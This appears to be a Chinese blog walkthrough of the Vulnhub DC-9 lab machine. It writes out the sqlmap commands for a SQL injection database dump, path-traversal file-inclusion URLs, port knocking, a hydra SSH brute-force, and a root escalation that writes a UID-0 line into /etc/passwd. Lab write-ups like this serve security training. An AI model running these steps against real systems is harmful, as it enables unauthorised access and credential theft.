CNjuzi
- 关注

Vulnhub--DC-9
一,部署方法
- 在官网上下载zip压缩包
- 下载到本地上解压缩后使用虚拟机导入.ova后缀的文件(在过程中出现问题不用理睬,点击重试即可)
- 配置网络,本人设置的是nat模式,这个看个人需求
- 打开靶机即可
二,靶机地址和描述
- 下载地址
https://www.vulnhub.com/entry/dc-9,412/
- 靶机描述
三,测试
1. 信息收集
arp-scan -l
网段扫描,寻找靶机地址
发现靶机地址是153,攻击机地址为148
使用nmap对靶机进行深度扫描
nmap -A -T4 -p- 192.168.237.153
发现开启了22端口,ssh服务和80端口,http服务。
访问靶机的80端口
成功访问。在网站上寻找功能点。找到一个搜索框
进行搜索后发现页面上没有回显,判断使用的是POST提交方式,怀疑存在SQL注入漏洞。
在目标网页搜索框中输入1进行搜索,点击F12,打开开发者工具,翻阅查看信息,发现在网络模组中的results.php的请求有效载荷中发现search=1.
2.SQL注入漏洞的利用
使用sqlmap进行爆破数据库的信息。
sqlmap -u "http://192.168.237.153/results.php" --batch --dbs --data "search=1"
发现存在数据库users,怀疑这其中有存在用户的信息。
继续爆破数据库中的表名
sqlmap -u "http://192.168.237.153/results.php" --batch --data "search=1" -D users --tables
发现这其中只有一个表,爆破这表中的字段名
sqlmap -u "http://192.168.237.153/results.php" --batch --data "search=1" -D users -T UserDetails --columns
这里发现username和password字段,进行爆破字段。
sqlmap -u "http://192.168.237.153/results.php" --batch --data "search=1" -D users -T UserDetails -C username,password --dump
这里发现太多的用户名和密码,尝试爆破剩余两个的数据库,继续寻找线索
在别的数据库中发现admin用户和密码,尝试使用MD5解密。
解密出来admin的密码。
爆破出用户名和密码:admin/transorbital1
使用admin/transorbital1成功进行登录
从页面页脚File does not exist中得知,文件不存在,怀疑存在文件包含漏洞。
3.文件包含漏洞的利用
得知这是apache服务器,判断这个网页路径存在/var/www/html下
http://192.168.237.153/manage.php?file=../../../../etc/passwd
找到账户信息
存在文件包含漏洞,成功利用
在/etc/passwd中发现刚才数据库爆破出来的用户名和密码,尝试进行ssh登录,在刚开始信息阶段,发现22端口是被过滤状态。这里使用端口敲门服务尝试进行打开22端口。
参考文章:https://www.cnblogs.com/f-carey/p/16066178.html
端口敲门服务:即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。
这时可以通过文件包含漏洞来查看/etc/knockd.conf文件内容
http://192.168.237.153/welcome.php?file=../../../../etc/knockd.conf
根据提示得知:
[openSSH] sequence = 7469,8475,9842
- 打开SSH服务访问端口:7469,8475,9842
seq_timeout = 25
- 设置的超时时间,时间太小会报错
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT tcpflags = syn
- 设置的敲门成功后执行的命令
[closeSSH] sequence = 9842,8475,7469
关闭SSH服务访问端口:9842,8475,7469
4.端口敲门服务
下载knockd的服务
apt install knockd
打开端口敲门服务
systemctl start knockd
这时使用打开SSH端口的暗号敲门
knock 192.168.237.153 7469 8475 9842
再次查看靶机开放端口
这时发现22端口是tcpwrapped,这说明TCP三次握手已经建立,但是还没有和主机建立连接。
发现使用knock进行端口敲门失败,换一种方式进行敲门。
nc 192.168.237.153 7469
nc 192.168.237.153 8475
nc 192.168.237.153 9842
nmap -A -T4 -p- 192.168.237.153
发现成功打开22端口。
5. 使用hydra爆破SSH服务的用户名和密码
将前面sqlmap爆破出来的用户名和密码分别保存到user.txt和passwd.txt中
使用hydra进行爆破SSH用户名和密码
hydra -L user.txt -P passwd.txt 192.168.237.153 ssh
这时发现三个用户名和账户都可以进行登录,接下来就是挨个登录查看每个用户下的内容。
6. SSH服务
挨个登录三个用户名和密码,同时查看根目录下的内容
发现在janitor用户目录下多了一个隐藏的文件,进行查看该文件
发现多的这个是目录。进入该目录查看
发现在目录下存在一个文件,查看该文件
查看后同时根据文件名发现可能为密码
将这个文件内的内容粘贴到初始的密码字典中,再一次hydra爆破。
发现一个新的用户和密码:fredf/B4-Tru3-001
使用这个用户进行ssh登录
成功登录,查看该用户下的内容
发现无新内容。
进行到这里能获得的信息基本上都获得了,下一步进行提权
7. 提权
输入sudo -l,查看可使用的命令
发现一个root用户下的无密码的文件。进入目录尝试执行
发现执行该文件需要使用python test.py才能执行。
这时使用find寻找该文件
找到该文件位置
进入该文件目录并查看
sys.argv[1]是输入的第一个参数:r是read读,output是输出,将读的内容输出
sys.argv[2]是输入的第二个参数:a是append增加,w是写,output是sys.argv[1]里的输入的内容。
这段代码的意思是读取1中的内容并写入2中
那我们可以构造一个root权限的文件,并使用test.py写入/etc/passwd中,这样不就可以使用root权限进行登录。
首先要明确passwd的格式:
用户名:密码(hash值):uid:gid:注释性描述:宿主目录:命令解释器
这样就可以进行提权的操作了
首先进入/tmp目录,因为在这个目录下有写的权限
这时使用openssl工具生成一个用户和密码
用户名:666 密码:666 -salt:使用撒盐加密
echo '666:$1$666$.8prVrBwKU7tneSglWDUT/:0:0::/root:/bin/bash' > 666
给用户666赋予root权限,写入文件666中。
sudo /opt/devstuff/dist/test/test /tmp/666 /etc/passwd
调用命令将666文件写入/etc/passwd中
8. 获得flag
成功解题。
四,总结
- 信息收集
- SQL注入漏洞
- Sqlmap的使用
- 端口敲门服务
- hydra爆破
- 特殊的提权
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
